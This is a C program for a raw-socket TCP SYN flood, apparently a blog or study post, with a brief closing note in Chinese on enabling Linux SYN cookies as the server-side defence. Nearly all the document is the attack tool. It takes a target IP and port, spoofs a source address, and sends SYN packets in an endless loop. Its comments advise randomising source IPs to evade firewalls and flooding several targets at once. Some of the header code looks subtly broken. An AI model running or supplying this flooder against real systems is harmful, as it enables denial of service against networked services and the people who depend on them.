1: #include <unistd.h>
2: #include <stdio.h>
3: #include <sys/socket.h>
4: #include <netinet/ip.h>
5: #include <netinet/tcp.h>
6:
7: /* TCP flags, can define something like this if needed */
8: /*
9: #define URG 32
10: #define ACK 16
11: #define PSH 8
12: #define RST 4
13: #define SYN 2
14: #define FIN 1
15: */
16:
17: struct ipheader {
18: unsigned char iph_ihl:5, /* Little-endian */
19: iph_ver:4;
20: unsigned char iph_tos;
21: unsigned short int iph_len;
22: unsigned short int iph_ident;
23: unsigned char iph_flags;
24: unsigned short int iph_offset;
25: unsigned char iph_ttl;
26: unsigned char iph_protocol;
27: unsigned short int iph_chksum;
28: unsigned int iph_sourceip;
29: unsigned int iph_destip;
30: };
31: /* Structure of the TCP header */
32: struct tcpheader {
33: unsigned short int tcph_srcport;
34: unsigned short int tcph_destport;
35: unsigned int tcph_seqnum;
36: unsigned int tcph_acknum;
37: unsigned char tcph_reserved:4, tcph_offset:4;
38: unsigned int
39: tcp_res1:4, /*little-endian*/
40: tcph_hlen:4, /*length of tcp header in 32-bit words*/
41: tcph_fin:1, /*Finish flag "fin"*/
42: tcph_syn:1, /*Synchronize sequence numbers to start a connection*/
43: tcph_rst:1, /*Reset flag */
44: tcph_psh:1, /*Push, sends data to the application*/
45: tcph_ack:1, /*acknowledge*/
46: tcph_urg:1, /*urgent pointer*/
47: tcph_res2:2;
48: unsigned short int tcph_win;
49: unsigned short int tcph_chksum;
50: unsigned short int tcph_urgptr;
51: };
52:
53: /* function for header checksums */
54: unsigned short csum (unsigned short *buf, int nwords)
55: {
56: unsigned long sum;
57: for (sum = 0; nwords > 0; nwords--)
58: sum += *buf++;
59: sum = (sum >> 16) + (sum & 0xffff);
60: sum += (sum >> 16);
61: return (unsigned short)(~sum);
62: }
63:
64: int main(int argc, char *argv[ ])
65: {
66: /* open raw socket */
67: int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
68: /* this buffer will contain ip header, tcp header, and payload we'll
69: point an ip header structure at its beginning, and a tcp header
70: structure after that to write the header values into it */
71: char datagram[4096];
72: struct ipheader *iph = (struct ipheader *) datagram;
73: struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
74: struct sockaddr_in sin;
75:
76: if(argc != 3)
77: {
78: printf("Invalid parameters!\n");
79: printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
80: exit(-1);
81: }
82:
83: unsigned int floodport = atoi(argv[2]);
84: /* the sockaddr_in structure containing the destination
85: address is used in sendto() to determine the datagrams path */
86: sin.sin_family = AF_INET;
87: /* you byte-order >1byte header values to network byte
88: order (not needed on big-endian machines). */
89: sin.sin_port = htons(floodport);
90: sin.sin_addr.s_addr = inet_addr(argv[1]);
91: /* zero out the buffer */
92: memset(datagram, 0, 4096);
93: /* we'll now fill in the ip/tcp header values */
94: iph->iph_ihl = 5;
95: iph->iph_ver = 4;
96: iph->iph_tos = 0;
97: /* just datagram, no payload. You can add payload as needed */
98: iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader);
99: /* the value doesn't matter here */
100: iph->iph_ident = htonl (54321);
101: iph->iph_offset = 0;
102: iph->iph_ttl = 255;
103: iph->iph_protocol = 6; // upper layer protocol, TCP
104: /* set it to 0 before computing the actual checksum later */
105: iph->iph_chksum = 0;
106:
107: /* SYN's can be blindly spoofed. Better to create randomly
108: generated IP to avoid blocking by firewall */
109: iph->iph_sourceip = inet_addr ("192.168.3.100");
110: /* Better if we can create a range of destination IP,
111: so we can flood all of them at the same time */
112: iph->iph_destip = sin.sin_addr.s_addr;
113: /* arbitrary port for source */
114: tcph->tcph_srcport = htons (5678);
115: tcph->tcph_destport = htons (floodport);
116: /* in a SYN packet, the sequence is a random */
117: tcph->tcph_seqnum = random();
118: /* number, and the ACK sequence is 0 in the 1st packet */
119: tcph->tcph_acknum = 0;
120: tcph->tcph_res2 = 0;
121: /* first and only tcp segment */
122: tcph->tcph_offset = 0;
123: /* initial connection request, I failed to use TH_FIN,
124: so check the tcp.h, TH_FIN = 0x02 or use #define TH_FIN 0x02*/
125: tcph->tcph_syn = 0x02;
126: /* maximum allowed window size */
127: tcph->tcph_win = htonl (65535);
128: /* if you set a checksum to zero, your kernel's IP stack should
129: fill in the correct checksum during transmission. */
130: tcph->tcph_chksum = 0;
131: tcph-> tcph_urgptr = 0;
132:
133: iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1);
134:
135: /* a IP_HDRINCL call, to make sure that the kernel knows
136: the header is included in the data, and doesn't insert
137: its own header into the packet before our data */
138: /* Some dummy */
139: int tmp = 1;
140: const int *val = &tmp;
141: if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0)
142: {
143: printf("Error: setsockopt() - Cannot set HDRINCL!\n");
144: /* If something wrong, just exit */
145: exit(-1);
146: }
147: else
148: printf("OK, using your own header!\n");
149:
150: /* You have to manually stop this program */
151: while(1)
152: {
153: if(sendto(s, /* our socket */
154: datagram, /* the buffer containing headers and data */
155: iph->iph_len, /* total length of our datagram */
156: 0, /* routing flags, normally always 0 */
157: (struct sockaddr *) &sin, /* socket addr, just like in */
158: sizeof (sin)) < 0) /* a normal send() */
159: printf("sendto() error!!!.\n");
160: else
161: printf("Flooding %s at %u...\n", argv[1], floodport);
162:
163: }
164: return 0;
165: }
在server有對應之道就是打開SYN Cookies,這個linux本身有支援,syn cookies在七八年前我就聽過了,應該是成熟的技巧,利用hash table處理connections避免server資源耗盡地的問題,使用
echo 1 > /proc/sys/net/ipv4/tcp_syncookies打開,在trace listen(), accpet()的時候其實裡面就有syn cookies的部分codes
不過對於DDOS還是無法解決網路頻寬耗盡的問題